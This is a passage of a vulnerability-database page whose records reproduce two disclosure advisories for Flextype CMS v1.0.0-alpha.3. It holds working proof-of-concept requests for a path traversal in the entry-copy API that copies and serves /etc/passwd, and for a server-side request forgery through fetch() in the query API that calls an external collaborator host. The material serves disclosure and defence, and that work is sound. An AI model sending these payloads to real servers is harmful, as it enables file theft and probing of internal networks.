$this-\u003eregistry()-\u003eget(\u0027methods.copy.result\u0027);\n    }\n\n    return filesystem()\n        -\u003edirectory($this-\u003egetDirectoryLocation($this-\u003eregistry()-\u003eget(\u0027methods.copy.params.id\u0027)))\n        -\u003ecopy($this-\u003egetDirectoryLocation($this-\u003eregistry()-\u003eget(\u0027methods.copy.params.newID\u0027)));\n}\n\nThe getDirectoryLocation() method constructs the filesystem path using the\nsupplied identifier:\n\npublic function getDirectoryLocation(string $id): string\n{\n    $this-\u003eregistry()-\u003eset(\u0027methods.getDirectoryLocation\u0027, [\n        \u0027collection\u0027 =\u003e $this-\u003egetCollectionOptions($id),\n        \u0027params\u0027 =\u003e [\n            \u0027id\u0027 =\u003e $id,\n        ],\n        \u0027result\u0027 =\u003e null,\n    ]);\n\n    emitter()-\u003eemit(\u0027onEntriesGetDirectoryLocation\u0027);\n\n    if (! is_null($this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.result\u0027))\n\u0026\u0026\n        is_string($this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.result\u0027)))\n{\n        return $this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.result\u0027);\n    }\n\n    return FLEXTYPE_PATH_PROJECT . \u0027/\u0027 .\n           $this-\u003eoptions[\u0027directory\u0027] . \u0027/\u0027 .\n           $this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.params.id\u0027);\n}\n\nThe supplied identifier is appended directly to:\n\nFLEXTYPE_PATH_PROJECT/\u003centries-directory\u003e/\n\nwithout enforcing that the canonicalized resulting path remains beneath the\nintended entries directory.\n\nConsequently, traversal sequences within an entry identifier can escape the\nexpected directory.\nProof of Concept \u2014 Escape Source and Destination Directories\n\nThe following request supplies traversal sequences for both the source and\ndestination identifiers:\n\nPUT /api/v1/entries/copy HTTP/1.1\nHost: 127.0.0.1:18080\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"../../../etc\",\"new_id\":\"../../etc-copy\"}\n\nGiven an entries directory rooted at:\n\n/app/project/entries\n\nthe source:\n\n../../../etc\n\nescapes the entries directory and resolves to:\n\n/etc\n\nThe destination:\n\n../../etc-copy\n\nsimilarly escapes the entries directory and resolves to:\n\n/app/etc-copy\n\nThe HTTP endpoint returned:\n\nHTTP/1.1 404 Not Found\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 02:17:02 GMT\nConnection: close\nX-Powered-By: PHP/8.1.34\nSet-Cookie: Flextype=c6044093f63329175869143209974d1c; path=/\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate\nPragma: no-cache\nContent-Type: application/json;charset=UTF-8\nContent-Length: 0\nAccess-Control-Allow-Origin: *\nAccess-Control-Allow-Headers: X-Requested-With, Content-Type, Accept,\nOrigin, Authorization\nAccess-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS\nAccess-Control-Allow-Expose:\nAccess-Control-Allow-Credentials: false\n\nDespite the HTTP 404 response, filesystem inspection confirmed that the\ncopy operation occurred.\nProof of Concept \u2014 Filesystem Evidence\n\nFollowing the request, /etc/passwd existed beneath the attacker-selected\nescaped destination:\n\nrealpath: /app/etc-copy/passwd\n---\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\n--snip--\n\nThe resulting path:\n\n/app/etc-copy/passwd\n\nis outside the intended:\n\n/app/project/entries\n\ndirectory.\n\nThis demonstrates that the traversal sequences affected the underlying\nfilesystem operation despite the API returning HTTP 404.\nProof of Concept \u2014 Remote File Disclosure\n\nThe copied file could subsequently be retrieved directly through the web\nserver:\n\nGET /etc-copy/passwd HTTP/1.1\nHost: 127.0.0.1:18080\n\nThe application returned the copied operating-system file:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 02:17:02 GMT\nConnection: close\nContent-Length: 839\n\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\n--snip--\n\nRoot Cause\n\nThe root cause is insufficient validation and canonicalization of entry\nidentifiers before they are incorporated into filesystem paths.\n\nThe vulnerable path construction is:\n\nreturn FLEXTYPE_PATH_PROJECT . \u0027/\u0027 .\n       $this-\u003eoptions[\u0027directory\u0027] . \u0027/\u0027 .\n       $this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.params.id\u0027);\n\nThe resulting path is then used directly by the copy operation:\n\nreturn filesystem()\n    -\u003edirectory($this-\u003egetDirectoryLocation($this-\u003eregistry()-\u003eget(\u0027methods.copy.params.id\u0027)))\n    -\u003ecopy($this-\u003egetDirectoryLocation($this-\u003eregistry()-\u003eget(\u0027methods.copy.params.newID\u0027)));\n\nNeither the source nor destination is shown being canonicalized and checked\nto ensure it remains beneath the configured entries directory before the\nfilesystem copy operation occurs.\n\nThis allows ../ path components supplied through the entry identifiers to\nescape the intended filesystem boundary.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:03:56Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/22"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/22"
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/22"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Flextype v1.0.0-alpha.3 Path Traversal in Entry Copy Allows Arbitrary Directory Copy and File Disclosure",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-77939",
              "type": "possibly_related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0180",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/22",
            "automated": true,
            "contentSha256": "b7897cdb97161a7ae262926a8436290ea19695546887205b5685e402c54945c4",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/22",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-31T02:22:38Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0180"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:25:42Z",
    "dateUpdated": "2026-09-09T13:03:56Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0180"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0010

Vulnerability from gna-1988 – Published: 2026-09-07 06:42 – Updated: 2026-09-09 13:03
VLAI
Title
Flextype v1.0.0-alpha.3 Path Traversal in Entry Copy Allows Arbitrary Directory Copy and File Disclosure
Summary
Description Flextype CMS v1.0.0-alpha.3 contains a path traversal vulnerability in the Entries copy functionality. An authenticated remote attacker can supply directory traversal sequences within both the source id and destination new_id parameters submitted to /api/v1/entries/copy. Flextype constructs entry directory paths by directly concatenating the supplied entry identifier with the configured entries directory without sufficiently canonicalizing the resulting path or verifying that it remains within the intended project/entries directory. As a result, an attacker can escape the configured entries directory for both the source and destination of a copy operation. Testing confirmed that a source identifier containing ../../../etc resolved to the system /etc directory and that a destination identifier containing ../../etc-copy caused the directory to be copied outside project/entries to /app/etc-copy. The copied /etc/passwd file was subsequently accessible over HTTP from /etc-copy/passwd, resulting in disclosure of operating-system files that were not intended to be exposed by the web application. Impact Successful exploitation allows an authenticated remote attacker to escape the Flextype entries directory and use filesystem directories outside the intended content storage location as the source or destination of entry copy operations. Testing demonstrated that the vulnerability can copy operating-system files from /etc into a web-accessible location under the application root. This resulted in remote disclosure of /etc/passwd. Depending on filesystem permissions, application deployment layout, and web-server configuration, the vulnerability may allow disclosure of sensitive application and operating-system files by copying otherwise inaccessible directories into web-accessible locations. The destination traversal also provides a filesystem write/copy primitive outside the intended project/entries security boundary. This primitive may increase the impact of other vulnerabilities when chained with functionality capable of interpreting or executing attacker-controlled files. DetailsVulnerable Entry Copy Implementation The Flextype copy() method receives the existing entry identifier and new entry identifier and eventually passes both values to getDirectoryLocation() : public function copy(string $id, string $newID): bool { // Collections validation helper. // Check if collections are identical. $isValidCollections = function ($id, $newID) { $collectionForCurrentEntry = $this->getCollectionOptions($id); $collectionForNewEntry = $this->getCollectionOptions($newID); $result = true; if (! isset($collectionForCurrentEntry['filename']) || ! isset($collectionForCurrentEntry['extension']) || ! isset($collectionForCurrentEntry['serializer']) || ! isset($collectionForNewEntry['filename']) || ! isset($collectionForNewEntry['extension']) || ! isset($collectionForNewEntry['serializer'])) { $result = false; } if (($collectionForCurrentEntry['filename'] != $collectionForNewEntry['filename']) || ($collectionForCurrentEntry['extension'] != $collectionForNewEntry['extension']) || ($collectionForCurrentEntry['serializer'] != $collectionForNewEntry['serializer'])) { $result = false; } return $result; }; if (! $isValidCollections($id, $newID)) { return false; } $this->registry()->set('methods.copy', [ 'collection' => $this->getCollectionOptions($id), 'params' => [ 'id' => $id, 'newID' => $newID, ], 'result' => null, ]); emitter()->emit('onEntriesCopy'); if (! is_null($this->registry()->get('methods.copy.result')) && is_bool($this->registry()->get('methods.copy.result'))) { return $this->registry()->get('methods.copy.result'); } return filesystem() ->directory($this->getDirectoryLocation($this->registry()->get('methods.copy.params.id'))) ->copy($this->getDirectoryLocation($this->registry()->get('methods.copy.params.newID'))); } The getDirectoryLocation() method constructs the filesystem path using the supplied identifier: public function getDirectoryLocation(string $id): string { $this->registry()->set('methods.getDirectoryLocation', [ 'collection' => $this->getCollectionOptions($id), 'params' => [ 'id' => $id, ], 'result' => null, ]); emitter()->emit('onEntriesGetDirectoryLocation'); if (! is_null($this->registry()->get('methods.getDirectoryLocation.result')) && is_string($this->registry()->get('methods.getDirectoryLocation.result'))) { return $this->registry()->get('methods.getDirectoryLocation.result'); } return FLEXTYPE_PATH_PROJECT . '/' . $this->options['directory'] . '/' . $this->registry()->get('methods.getDirectoryLocation.params.id'); } The supplied identifier is appended directly to: FLEXTYPE_PATH_PROJECT/<entries-directory>/ without enforcing that the canonicalized resulting path remains beneath the intended entries directory. Consequently, traversal sequences within an entry identifier can escape the expected directory. Proof of Concept — Escape Source and Destination Directories The following request supplies traversal sequences for both the source and destination identifiers: PUT /api/v1/entries/copy HTTP/1.1 Host: 127.0.0.1:18080 Content-Type: application/json {"token":"lab-token","access_token":"password","id":"../../../etc","new_id":"../../etc-copy"} Given an entries directory rooted at: /app/project/entries the source: ../../../etc escapes the entries directory and resolves to: /etc The destination: ../../etc-copy similarly escapes the entries directory and resolves to: /app/etc-copy The HTTP endpoint returned: HTTP/1.1 404 Not Found Host: 127.0.0.1:18080 Date: Mon, 31 Aug 2026 02:17:02 GMT Connection: close X-Powered-By: PHP/8.1.34 Set-Cookie: Flextype=c6044093f63329175869143209974d1c; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Type: application/json;charset=UTF-8 Content-Length: 0 Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-Requested-With, Content-Type, Accept, Origin, Authorization Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS Access-Control-Allow-Expose: Access-Control-Allow-Credentials: false Despite the HTTP 404 response, filesystem inspection confirmed that the copy operation occurred. Proof of Concept — Filesystem Evidence Following the request, /etc/passwd existed beneath the attacker-selected escaped destination: realpath: /app/etc-copy/passwd --- root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin --snip-- The resulting path: /app/etc-copy/passwd is outside the intended: /app/project/entries directory. This demonstrates that the traversal sequences affected the underlying filesystem operation despite the API returning HTTP 404. Proof of Concept — Remote File Disclosure The copied file could subsequently be retrieved directly through the web server: GET /etc-copy/passwd HTTP/1.1 Host: 127.0.0.1:18080 The application returned the copied operating-system file: HTTP/1.1 200 OK Host: 127.0.0.1:18080 Date: Mon, 31 Aug 2026 02:17:02 GMT Connection: close Content-Length: 839 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin --snip-- Root Cause The root cause is insufficient validation and canonicalization of entry identifiers before they are incorporated into filesystem paths. The vulnerable path construction is: return FLEXTYPE_PATH_PROJECT . '/' . $this->options['directory'] . '/' . $this->registry()->get('methods.getDirectoryLocation.params.id'); The resulting path is then used directly by the copy operation: return filesystem() ->directory($this->getDirectoryLocation($this->registry()->get('methods.copy.params.id'))) ->copy($this->getDirectoryLocation($this->registry()->get('methods.copy.params.newID'))); Neither the source nor destination is shown being canonicalized and checked to ensure it remains beneath the configured entries directory before the filesystem copy operation occurs. This allows ../ path components supplied through the entry identifiers to escape the intended filesystem boundary. Ron Edgerson Vulnerability Researcher & Exploit Developer CVE Research | Binary Exploitation | Application & Systems Security Responsible Disclosure • Proof-of-Concept Development 🌐 https://github.com/ob1sec 🔗 https://www.linkedin.com/in/ronedgerson1 <https://linkedin.com/in/yourhandle> _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Impacted products
Vendor Product Version
Flextype Flextype Affected: unknown
Create a notification for this product.
Credits

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Flextype",
          "vendor": "Flextype",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains a path traversal vulnerability in the\nEntries copy functionality. An authenticated remote attacker can supply\ndirectory traversal sequences within both the source id and destination\nnew_id parameters submitted to /api/v1/entries/copy.\n\nFlextype constructs entry directory paths by directly concatenating the\nsupplied entry identifier with the configured entries directory without\nsufficiently canonicalizing the resulting path or verifying that it remains\nwithin the intended project/entries directory.\n\nAs a result, an attacker can escape the configured entries directory for\nboth the source and destination of a copy operation. Testing confirmed that\na source identifier containing ../../../etc resolved to the system /etc\ndirectory and that a destination identifier containing ../../etc-copy\ncaused the directory to be copied outside project/entries to /app/etc-copy.\n\nThe copied /etc/passwd file was subsequently accessible over HTTP from\n/etc-copy/passwd, resulting in disclosure of operating-system files that\nwere not intended to be exposed by the web application.\nImpact\n\nSuccessful exploitation allows an authenticated remote attacker to escape\nthe Flextype entries directory and use filesystem directories outside the\nintended content storage location as the source or destination of entry\ncopy operations.\n\nTesting demonstrated that the vulnerability can copy operating-system files\nfrom /etc into a web-accessible location under the application root. This\nresulted in remote disclosure of /etc/passwd.\n\nDepending on filesystem permissions, application deployment layout, and\nweb-server configuration, the vulnerability may allow disclosure of\nsensitive application and operating-system files by copying otherwise\ninaccessible directories into web-accessible locations.\n\nThe destination traversal also provides a filesystem write/copy primitive\noutside the intended project/entries security boundary. This primitive may\nincrease the impact of other vulnerabilities when chained with\nfunctionality capable of interpreting or executing attacker-controlled\nfiles.\nDetailsVulnerable Entry Copy Implementation\n\nThe Flextype copy() method receives the existing entry identifier and new\nentry identifier and eventually passes both values to getDirectoryLocation()\n:\n\npublic function copy(string $id, string $newID): bool\n{\n    // Collections validation helper.\n    // Check if collections are identical.\n    $isValidCollections = function ($id, $newID) {\n        $collectionForCurrentEntry = $this-\u003egetCollectionOptions($id);\n        $collectionForNewEntry     = $this-\u003egetCollectionOptions($newID);\n\n        $result = true;\n\n        if (! isset($collectionForCurrentEntry[\u0027filename\u0027]) ||\n            ! isset($collectionForCurrentEntry[\u0027extension\u0027]) ||\n            ! isset($collectionForCurrentEntry[\u0027serializer\u0027]) ||\n            ! isset($collectionForNewEntry[\u0027filename\u0027]) ||\n            ! isset($collectionForNewEntry[\u0027extension\u0027]) ||\n            ! isset($collectionForNewEntry[\u0027serializer\u0027])) {\n            $result = false;\n        }\n\n        if (($collectionForCurrentEntry[\u0027filename\u0027] !=\n$collectionForNewEntry[\u0027filename\u0027]) ||\n            ($collectionForCurrentEntry[\u0027extension\u0027] !=\n$collectionForNewEntry[\u0027extension\u0027]) ||\n            ($collectionForCurrentEntry[\u0027serializer\u0027] !=\n$collectionForNewEntry[\u0027serializer\u0027])) {\n            $result = false;\n        }\n\n        return $result;\n    };\n\n    if (! $isValidCollections($id, $newID)) {\n        return false;\n    }\n\n    $this-\u003eregistry()-\u003eset(\u0027methods.copy\u0027, [\n        \u0027collection\u0027 =\u003e $this-\u003egetCollectionOptions($id),\n        \u0027params\u0027 =\u003e [\n            \u0027id\u0027 =\u003e $id,\n            \u0027newID\u0027 =\u003e $newID,\n        ],\n        \u0027result\u0027 =\u003e null,\n    ]);\n\n    emitter()-\u003eemit(\u0027onEntriesCopy\u0027);\n\n    if (! is_null($this-\u003eregistry()-\u003eget(\u0027methods.copy.result\u0027)) \u0026\u0026\n        is_bool($this-\u003eregistry()-\u003eget(\u0027methods.copy.result\u0027))) {\n        return $this-\u003eregistry()-\u003eget(\u0027methods.copy.result\u0027);\n    }\n\n    return filesystem()\n        -\u003edirectory($this-\u003egetDirectoryLocation($this-\u003eregistry()-\u003eget(\u0027methods.copy.params.id\u0027)))\n        -\u003ecopy($this-\u003egetDirectoryLocation($this-\u003eregistry()-\u003eget(\u0027methods.copy.params.newID\u0027)));\n}\n\nThe getDirectoryLocation() method constructs the filesystem path using the\nsupplied identifier:\n\npublic function getDirectoryLocation(string $id): string\n{\n    $this-\u003eregistry()-\u003eset(\u0027methods.getDirectoryLocation\u0027, [\n        \u0027collection\u0027 =\u003e $this-\u003egetCollectionOptions($id),\n        \u0027params\u0027 =\u003e [\n            \u0027id\u0027 =\u003e $id,\n        ],\n        \u0027result\u0027 =\u003e null,\n    ]);\n\n    emitter()-\u003eemit(\u0027onEntriesGetDirectoryLocation\u0027);\n\n    if (! is_null($this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.result\u0027))\n\u0026\u0026\n        is_string($this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.result\u0027)))\n{\n        return $this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.result\u0027);\n    }\n\n    return FLEXTYPE_PATH_PROJECT . \u0027/\u0027 .\n           $this-\u003eoptions[\u0027directory\u0027] . \u0027/\u0027 .\n           $this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.params.id\u0027);\n}\n\nThe supplied identifier is appended directly to:\n\nFLEXTYPE_PATH_PROJECT/\u003centries-directory\u003e/\n\nwithout enforcing that the canonicalized resulting path remains beneath the\nintended entries directory.\n\nConsequently, traversal sequences within an entry identifier can escape the\nexpected directory.\nProof of Concept \u2014 Escape Source and Destination Directories\n\nThe following request supplies traversal sequences for both the source and\ndestination identifiers:\n\nPUT /api/v1/entries/copy HTTP/1.1\nHost: 127.0.0.1:18080\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"../../../etc\",\"new_id\":\"../../etc-copy\"}\n\nGiven an entries directory rooted at:\n\n/app/project/entries\n\nthe source:\n\n../../../etc\n\nescapes the entries directory and resolves to:\n\n/etc\n\nThe destination:\n\n../../etc-copy\n\nsimilarly escapes the entries directory and resolves to:\n\n/app/etc-copy\n\nThe HTTP endpoint returned:\n\nHTTP/1.1 404 Not Found\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 02:17:02 GMT\nConnection: close\nX-Powered-By: PHP/8.1.34\nSet-Cookie: Flextype=c6044093f63329175869143209974d1c; path=/\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate\nPragma: no-cache\nContent-Type: application/json;charset=UTF-8\nContent-Length: 0\nAccess-Control-Allow-Origin: *\nAccess-Control-Allow-Headers: X-Requested-With, Content-Type, Accept,\nOrigin, Authorization\nAccess-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS\nAccess-Control-Allow-Expose:\nAccess-Control-Allow-Credentials: false\n\nDespite the HTTP 404 response, filesystem inspection confirmed that the\ncopy operation occurred.\nProof of Concept \u2014 Filesystem Evidence\n\nFollowing the request, /etc/passwd existed beneath the attacker-selected\nescaped destination:\n\nrealpath: /app/etc-copy/passwd\n---\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\n--snip--\n\nThe resulting path:\n\n/app/etc-copy/passwd\n\nis outside the intended:\n\n/app/project/entries\n\ndirectory.\n\nThis demonstrates that the traversal sequences affected the underlying\nfilesystem operation despite the API returning HTTP 404.\nProof of Concept \u2014 Remote File Disclosure\n\nThe copied file could subsequently be retrieved directly through the web\nserver:\n\nGET /etc-copy/passwd HTTP/1.1\nHost: 127.0.0.1:18080\n\nThe application returned the copied operating-system file:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 02:17:02 GMT\nConnection: close\nContent-Length: 839\n\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\n--snip--\n\nRoot Cause\n\nThe root cause is insufficient validation and canonicalization of entry\nidentifiers before they are incorporated into filesystem paths.\n\nThe vulnerable path construction is:\n\nreturn FLEXTYPE_PATH_PROJECT . \u0027/\u0027 .\n       $this-\u003eoptions[\u0027directory\u0027] . \u0027/\u0027 .\n       $this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.params.id\u0027);\n\nThe resulting path is then used directly by the copy operation:\n\nreturn filesystem()\n    -\u003edirectory($this-\u003egetDirectoryLocation($this-\u003eregistry()-\u003eget(\u0027methods.copy.params.id\u0027)))\n    -\u003ecopy($this-\u003egetDirectoryLocation($this-\u003eregistry()-\u003eget(\u0027methods.copy.params.newID\u0027)));\n\nNeither the source nor destination is shown being canonicalized and checked\nto ensure it remains beneath the configured entries directory before the\nfilesystem copy operation occurs.\n\nThis allows ../ path components supplied through the entry identifiers to\nescape the intended filesystem boundary.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:03:56Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/22"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/22"
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/22"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Flextype v1.0.0-alpha.3 Path Traversal in Entry Copy Allows Arbitrary Directory Copy and File Disclosure",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0010",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/22",
            "automated": true,
            "contentSha256": "b7897cdb97161a7ae262926a8436290ea19695546887205b5685e402c54945c4",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/22",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-31T02:22:38Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T06:42:13Z",
    "dateUpdated": "2026-09-09T13:03:56Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0010"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0179

Vulnerability from gna-1988 – Published: 2026-09-08 07:25 – Updated: 2026-09-09 13:03
VLAI
Title
Flextype v1.0.0-alpha.3 Server-Side Request Forgery via fetch() in Query API
Summary
Description Flextype CMS v1.0.0-alpha.3 contains a server-side request forgery (SSRF) vulnerability in the expression-processing functionality exposed through the /api/v1/query endpoint. An authenticated remote attacker can supply an arbitrary URL to the exposed fetch() function, causing the Flextype server to initiate an outbound HTTP request to an attacker-controlled destination. The application does not sufficiently restrict the destination supplied to fetch(). Testing confirmed that an attacker-controlled expression submitted through the Query API caused the Flextype server to connect to an external Burp Collaborator endpoint. The HTTP response received by the Flextype server, including its status code, response headers, and response body, was subsequently returned to the attacker through the API response. The vulnerability therefore provides a non-blind SSRF primitive and allows an attacker to interact with network resources from the security context and network position of the Flextype server. Impact Successful exploitation allows an authenticated remote attacker to cause the Flextype server to initiate arbitrary server-side HTTP requests. Because the response to the server-side request is returned through the Query API, an attacker may potentially use the vulnerability to enumerate and interact with HTTP services accessible from the Flextype host, including services that are not directly accessible from the attacker's network location. Depending on the deployment environment and network configuration, potential targets may include internal web applications, administrative interfaces, loopback services, private network resources, and other HTTP-accessible infrastructure reachable by the Flextype server. The demonstrated vulnerability is non-blind because response data from the requested destination is returned to the attacker. DetailsServer-Side Request Forgery via fetch() The /api/v1/query endpoint accepts expressions that are evaluated by the Flextype expression-processing environment. The environment exposes a fetch() function capable of initiating HTTP requests. An authenticated attacker can provide an attacker-controlled URL to this function. The following request instructs the Flextype server to request an external Burp Collaborator endpoint: POST /api/v1/query HTTP/1.1 Host: 127.0.0.1:18080 Content-Type: application/json {"token":"lab-token","access_token":"password","query":{"ssrf":"fetch('http://042--snip--.oastify.com')"}} The server responds with the result of the outbound request: HTTP/1.1 200 OK Host: 127.0.0.1:18080 Date: Mon, 31 Aug 2026 01:49:16 GMT Connection: close X-Powered-By: PHP/8.1.34 Set-Cookie: Flextype=438637f69a696e857bd9c8446fe7c8d3; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Type: application/json;charset=UTF-8 Content-Length: 269 Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-Requested-With, Content-Type, Accept, Origin, Authorization Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS Access-Control-Allow-Expose: Access-Control-Allow-Credentials: false {"ssrf":{"reasonPhrase":"OK","statusCode":200,"headers":{"Server":["Burp Collaborator https://burpcollaborator.net/"],"X-Collaborator-Version":["4"],"Content-Type":["text/html"],"Content-Length":["55"]},"body":";<html><body>2trzdergwz6ntzdoje2rmtzjjgmgz</body></html>"}} The returned data identifies the destination as a Burp Collaborator server: Server: Burp Collaborator https://burpcollaborator.net/ X-Collaborator-Version: 4 Additionally, the destination's response body is returned through Flextype: <html><body>2trzdergwz6ntzdoje2rmtzjjgmgz</body></html> This demonstrates that the request originates from the Flextype server and that response data is made available to the authenticated attacker. Ron Edgerson Vulnerability Researcher & Exploit Developer CVE Research | Binary Exploitation | Application & Systems Security Responsible Disclosure • Proof-of-Concept Development 🌐 https://github.com/ob1sec 🔗 https://www.linkedin.com/in/ronedgerson1 <https://linkedin.com/in/yourhandle> _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Impacted products
Vendor Product Version
Flextype Flextype Affected: unknown
Create a notification for this product.
Credits
Relationships
analysis GCVE-1988-2026-0179 (this record)

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Flextype",
          "vendor": "Flextype",
          "versions": [
            {
              "status": "affected",
